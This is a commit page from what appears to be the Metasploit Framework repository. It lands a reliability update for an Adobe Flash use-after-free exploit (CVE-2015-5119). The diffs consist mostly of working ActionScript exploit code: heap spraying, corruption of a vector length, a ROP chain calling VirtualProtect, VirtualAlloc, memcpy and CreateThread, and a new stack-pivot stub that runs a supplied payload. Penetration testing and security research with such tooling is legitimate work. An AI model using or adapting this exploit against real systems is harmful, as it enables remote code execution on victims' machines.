Skip to content

Commit 7113c80

Browse files
wchen-r7wchen-r7
committed
Land rapid7#5732, reliability update for adobe_flash_hacking_team_uaf
2 parents 837eb9e + a637921 commit 7113c80

File tree

7 files changed

+140
-209
lines changed

7 files changed

+140
-209
lines changed

‎data/exploits/CVE-2015-5119/msf.swf

19.8 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-5119/Exploit.as

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
// Build with Flex SDK 4.6 + AIR 3.1
12
package
23
{
34
import flash.display.Sprite
@@ -8,30 +9,29 @@ package
89

910
public class Exploit extends Sprite
1011
{
11-
private var b64:Base64Decoder = new Base64Decoder()
12+
private var b64:Base64Decoder = new Base64Decoder()
1213
private var payload:ByteArray
1314
private var platform:String
14-
private var os:String
15-
16-
public function Exploit():void
17-
{
18-
//trace("Got to checkpoint 0");
19-
if (stage) init();
20-
else addEventListener(Event.ADDED_TO_STAGE, init);
21-
}
15+
16+
public function Exploit():void
17+
{
18+
//trace("Got to checkpoint 0");
19+
if (stage) init();
20+
else addEventListener(Event.ADDED_TO_STAGE, init);
21+
}
2222

2323
private function init(e:Event = null):void
2424
{
2525
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
26-
os = LoaderInfo(this.root.loaderInfo).parameters.os
2726
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
2827
var pattern:RegExp = / /g;
2928
b64_payload = b64_payload.replace(pattern, "+")
3029
b64.decode(b64_payload)
3130
payload = b64.toByteArray()
3231

3332
removeEventListener(Event.ADDED_TO_STAGE, init);
34-
MyClass.TryExpl(this, platform, os, payload)
33+
Logger.log('TryExpl...')
34+
MyClass.TryExpl(this, platform, payload)
3535
}
3636
}
3737
}

‎external/source/exploits/CVE-2015-5119/Exploiter.as

Lines changed: 55 additions & 87 deletions
Original file line numberDiff line numberDiff line change
@@ -11,27 +11,33 @@ package
1111
private var eba:ExploitByteArray
1212
private var payload:ByteArray
1313
private var platform:String
14-
private var op_system:String
1514
private var pos:uint
1615
private var byte_array_object:uint
1716
private var main:uint
1817
private var stack_object:uint
1918
private var payload_space_object:uint
2019
private var buffer_object:uint
20+
private var magic:uint
21+
private var magic_arg0:uint
22+
private var magic_arg1:uint
23+
private var magic_object:uint
24+
private var magic_table:uint
2125
private var buffer:uint
2226
private var vtable:uint
2327
private var stack_address:uint
2428
private var payload_address:uint
29+
private var stub_address:uint
30+
private var stub_space_object:uint
31+
private var stub:Vector.<uint> = new Vector.<uint>(8)
2532
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
2633
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
2734
private var spray:Vector.<Object> = new Vector.<Object>(90000)
2835

29-
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
36+
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
3037
{
3138
exploit = exp
3239
payload = p
3340
platform = pl
34-
op_system = os
3541

3642
ev = new ExploitVector(uv, uv_length)
3743
if (!ev.is_ready()) return
@@ -49,16 +55,27 @@ package
4955
cleanup()
5056
}
5157

58+
static function Magic(...a){}
59+
5260
private function spray_objects():void
5361
{
5462
Logger.log("[*] Exploiter - spray_objects()")
63+
64+
// mov eax,[esp+0x4]
65+
// xchg eax,esp
66+
// rets
67+
stub[0] = 0x0424448B
68+
stub[1] = 0x0000C394
69+
5570
for (var i:uint = 0; i < spray.length; i++)
5671
{
5772
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
5873
spray[i][0] = eba.ba
5974
spray[i][1] = exploit
6075
spray[i][2] = stack
6176
spray[i][3] = payload_space
77+
spray[i][4] = Magic
78+
spray[i][5] = stub
6279
}
6380
}
6481

@@ -76,6 +93,8 @@ package
7693
main = ev.at(pos + 1) - 1
7794
stack_object = ev.at(pos + 2) - 1
7895
payload_space_object = ev.at(pos + 3) - 1
96+
magic = ev.at(pos + 4) - 1
97+
stub_space_object = ev.at(pos + 5) - 1
7998
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
8099
return false
81100
}
@@ -98,6 +117,11 @@ package
98117
vtable = ev.read(main)
99118
stack_address = ev.read(stack_object + 0x18)
100119
payload_address = ev.read(payload_space_object + 0x18)
120+
stub_address = ev.read(stub_space_object + 0x18)
121+
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
122+
magic_table = ev.read(magic_object)
123+
magic_arg0 = ev.read(magic + 0x1c)
124+
magic_arg1 = ev.read(magic + 0x20)
101125
}
102126

103127
private function corrupt_byte_array():void
@@ -138,13 +162,7 @@ package
138162
if (platform == "linux") {
139163
do_rop_linux()
140164
} else if (platform == "win") {
141-
if (op_system == "Windows 8.1") {
142-
do_rop_windows8()
143-
} else if (op_system == "Windows 7") {
144-
do_rop_windows()
145-
} else {
146-
return
147-
}
165+
do_rop_windows()
148166
} else {
149167
return
150168
}
@@ -167,21 +185,20 @@ package
167185
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
168186

169187
// Continuation of execution
170-
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
171-
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
188+
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
189+
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
172190
eba.write(0, "\x89\x03", false) // mov [ebx], eax
173-
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
191+
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
174192

175193
// Put the payload (command) in memory
176194
eba.write(payload_address + 8, payload, true); // payload
177195

178-
// Put the fake vtabe / stack on memory
179-
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
180-
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
196+
// Put the fake stack on memory
181197
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
198+
182199
eba.write(0, virtualprotect)
183-
184-
// VirtualProtect
200+
201+
// VirtualProtect
185202
eba.write(0, virtualalloc)
186203
eba.write(0, buffer + 0x10)
187204
eba.write(0, 0x1000)
@@ -210,76 +227,27 @@ package
210227
eba.write(0, 0)
211228
eba.write(0, 0)
212229
eba.write(0, 0)
213-
214-
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
215-
exploit.toString() // call method in the fake vtable
216-
}
217-
218-
private function do_rop_windows8():void
219-
{
220-
Logger.log("[*] Exploiter - do_rop_windows8()")
221-
var pe:PE = new PE(eba)
222-
var flash:uint = pe.base(vtable)
223-
var winmm:uint = pe.module("winmm.dll", flash)
224-
var advapi32:uint = pe.module("advapi32.dll", flash)
225-
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
226-
var kernel32:uint = pe.module("kernel32.dll", winmm)
227-
var ntdll:uint = pe.module("ntdll.dll", kernel32)
228-
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
229-
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
230-
var createthread:uint = pe.procedure("CreateThread", kernelbase)
231-
var memcpy:uint = pe.procedure("memcpy", ntdll)
232-
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
233-
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
234-
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
235-
236-
// Continuation of execution
237-
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
238-
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
239-
eba.write(0, "\x89\x03", false) // mov [ebx], eax
240-
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
241-
242-
// Put the payload (command) in memory
243-
eba.write(payload_address + 8, payload, true); // payload
244-
245-
// Put the fake vtabe / stack on memory
246-
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247-
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248-
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249-
eba.write(0, virtualprotect)
250-
251-
// VirtualProtect
252-
eba.write(0, virtualalloc)
253-
eba.write(0, buffer + 0x10)
254-
eba.write(0, 0x1000)
255-
eba.write(0, 0x40)
256-
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
257-
258-
// VirtualAlloc
259-
eba.write(0, memcpy)
260-
eba.write(0, 0x7ffd0000)
261-
eba.write(0, 0x4000)
262-
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
263-
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
264-
265-
// memcpy
266-
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267-
eba.write(0, 0x7ffd0000)
268-
eba.write(0, payload_address + 8)
269-
eba.write(0, payload.length)
270-
271-
// CreateThread
272-
eba.write(0, createthread)
273-
eba.write(0, buffer + 0x10) // return to fix things
274-
eba.write(0, 0)
275-
eba.write(0, 0)
276-
eba.write(0, 0x7ffd0000)
277-
eba.write(0, 0)
278-
eba.write(0, 0)
279-
eba.write(0, 0)
230+
231+
for (var i:uint; i < 0x100; i++) {
232+
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
233+
}
280234

281-
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
282-
exploit.toString() // call method in the fake vtable
235+
// VirtualProtect the stub with a *reliable* stackpivot
236+
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
237+
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
238+
eba.write(magic + 0x1c, stub_address)
239+
eba.write(magic + 0x20, 0x10)
240+
var args:Array = new Array(0x41)
241+
Magic.call.apply(null, args);
242+
243+
// Call to our stackpivot and init the rop chain
244+
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
245+
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
246+
eba.write(magic + 0x1c, stack_address + 0x18000)
247+
Magic.call.apply(null, null);
248+
eba.write(magic_object, magic_table);
249+
eba.write(magic + 0x1c, magic_arg0)
250+
eba.write(magic + 0x20, magic_arg1)
283251
}
284252

285253
private function do_rop_linux():void

‎external/source/exploits/CVE-2015-5119/MyClass.as

Lines changed: 15 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
_gc:Array,
1313
_va:Array,
1414
_ba:ByteArray,
15+
_corrupted:Vector.<uint>,
1516
_isDbg:Boolean = Capabilities.isDebugger;
1617

1718
// define malicious valueOf()
@@ -34,7 +35,7 @@
3435
}
3536

3637
// try to corrupt the length value of Vector.<uint>
37-
static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) : Boolean
38+
static function TryExpl(e:Exploit, platform:String, payload:ByteArray) : Boolean
3839
{
3940
Logger.log("tryexpl")
4041
try
@@ -55,7 +56,6 @@
5556
}
5657

5758
// find these pages
58-
var v:Vector.<uint>;
5959
for(i=alen-5; i >= 0; i-=3)
6060
{
6161
// take next allocated ByteArray
@@ -67,17 +67,22 @@
6767
if (_ba[3] != 0) throw new Error("can't cause UaF");
6868

6969
// check results // find corrupted vector
70-
for(var j:int=0; j < _va.length; j++){
71-
v = _va[j];
72-
if (v.length != 0x3f0) {
73-
Logger.log("v.length = 0x" + v.length.toString(16));
74-
var exploiter:Exploiter = new Exploiter(e, platform, os, payload, v, 0x3f0)
75-
Logger.log("v.length = 0x" + v.length.toString(16));
76-
return true
70+
for (var j:int = 0; j < _va.length; j++) {
71+
if (_va[j].length != 0x3f0) {
72+
_corrupted = _va[j]
73+
} else {
74+
delete(_va[j])
75+
_va[j] = null
7776
}
7877
}
78+
79+
if (_corrupted != null) {
80+
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
81+
var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0)
82+
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
83+
return true
84+
}
7985
}
80-
8186
Logger.log("bad allocation. try again.");
8287
}
8388
catch (e:Error)

‎external/source/flash_exploiter/Exploit.as

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,13 +25,11 @@ package
2525
private var b64:Base64Decoder = new Base64Decoder()
2626
private var payload:ByteArray
2727
private var platform:String
28-
private var os:String
2928
private var exploiter:Exploiter
3029

3130
public function Exploit()
3231
{
3332
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
34-
os = LoaderInfo(this.root.loaderInfo).parameters.os
3533
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
3634
var pattern:RegExp = / /g;
3735
b64_payload = b64_payload.replace(pattern, "+")
@@ -42,7 +40,7 @@ package
4240
The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger.
4341
*/
4442

45-
exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
43+
exploiter = new Exploiter(this, platform, payload, uv, 0x13e)
4644
}
4745
}
4846
}

0 commit comments

Comments
 (0)